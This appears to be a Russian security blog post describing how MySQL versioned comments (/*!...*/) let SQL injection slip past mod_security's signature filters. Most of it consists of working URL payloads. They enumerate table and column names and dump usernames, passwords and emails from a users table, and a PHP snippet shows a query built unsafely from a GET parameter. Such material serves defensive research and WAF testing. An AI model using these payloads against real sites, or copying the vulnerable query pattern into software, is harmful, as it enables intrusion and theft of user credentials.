Еще один красивый способ эксплуатации SQL Injection в обход WAF
Метод, который попал мне сегодня на глаза в документации MySQL , поражает своей простотой и тем, что я не замечал его раньше. Раскопанный способ по обходу WAF заключается в следующем. Сервер MySQL позволяет использовать комментарии вида:
/*!sql-code*/и /*!12345sql-code*/
Как можно догадаться, и в том, и в другом случае sql-code будет выполнен из комментария! Во втором случае конструкция означает, что нужно выполнить "sql-code", если версия СУБД больше этого цифрового значения.
name='more'>
Как я уже неоднократно утверждал [ 1 , 2 ], некоторыми WAFами комментарии в процессе сигнатурного поиска игнорируются. К таким WAF, в том числе относиться и mod_security последней стабильной сборки (v. 2.5.9).
Простой пример:
... $query = "SELECT name FROM table where id = ".$_GET[id];
$result = mysql_query($query);
...
Если Web-приложение защищено Mod_Security, то такой запрос не пройдет:
/?id=1+union+select+1
Примечательно, что даже такие (некорректные в данном примере) запросы блокируются WAF (техники HPP / HPF ):
/?id=1+union/*&id=*/select+table_name+from+information_schema.columns
/?id=1+union/*&blabla1=*/select+table_name&blabla2=from+information_schema.columns
А вот воспользовавшись методом с комментариями, можно эксплуатировать SQL Injection, абсолютно прозрачно для фильтров Mod_Security:
/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
/?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/
/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/
Собственно, метод в копилку :-)
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
Standoff Defend (защищать) — это онлайн-полигон, где ты сможешь испытать себя. Попробуй себя в расследовании инцидентов и поборись за победу в конкурсе